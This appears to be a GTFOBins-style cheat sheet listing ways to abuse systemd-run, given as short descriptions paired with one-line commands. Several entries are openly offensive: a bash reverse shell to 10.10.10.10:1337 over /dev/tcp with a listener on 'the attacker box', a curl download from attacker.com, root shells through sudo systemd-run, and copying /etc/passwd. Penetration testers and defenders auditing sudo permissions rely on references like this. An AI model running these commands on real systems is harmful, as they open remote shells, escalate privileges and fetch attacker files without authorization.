| description |
code |
| Run an interactive shell using the user's default shell. The `-S` or `--shell` option can be used to invoke the default shell interactively. |
systemd-run -S |
|
| description |
code |
| Run a shell using a pseudo-terminal (PTY). The `-t` or `--pty` option can be used to run the service on a pseudo-TTY as STDIN/STDOUT/STDERR. |
systemd-run --pty /bin/sh |
|
|
| description |
code |
| Execute a specific command and redirect the output to a file. In this case, the command runs `id` and saves the result to `/tmp/id`. |
systemd-run /bin/bash -c "/bin/id > /tmp/id" |
|
|
| description |
code |
| Run a reverse shell to a remote machine. The reverse shell connects to the specified IP and port. Since `systemd-run` does not handle exported environment variables, the IP address and port must be specified directly in the command. Run `nc -l -p 12345` on the attacker box to receive the shell. |
systemd-run /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' |
|
|
| description |
code |
| Serve files from the local directory over HTTP. This requires Python to be installed. The command starts a Python HTTP server on port 8888. |
systemd-run python3 -m http.server 8888 |
|
|
| description |
code |
| Download a file from a remote server via HTTP. The file is saved to `/tmp/file_to_save` using `curl`. |
systemd-run /bin/sh -c 'curl -o /tmp/file_to_save http://attacker.com/file_to_get' |
|
|
| description |
code |
| Gain an interactive shell as root using `sudo` and `systemd-run`. The `-S` option invokes the shell. |
sudo systemd-run -S |
|
| description |
code |
| Gain a root shell using `sudo` and `systemd-run` with a pseudo-terminal (PTY). |
sudo systemd-run --pty /bin/sh |
|
|
| description |
code |
| Read the contents of a file and redirect the output to another file. In this case, the contents of `/etc/passwd` are copied to `/tmp/passwd`. |
systemd-run /bin/sh -c "/bin/cat /etc/passwd > /tmp/passwd" |
|
|
| description |
code |
| Write data to a specific file. The filename should be absolute. In this example, the string "DATA" is written to `/tmp/file`. |
systemd-run /bin/sh -c 'echo "DATA" > /tmp/file' |
|
|
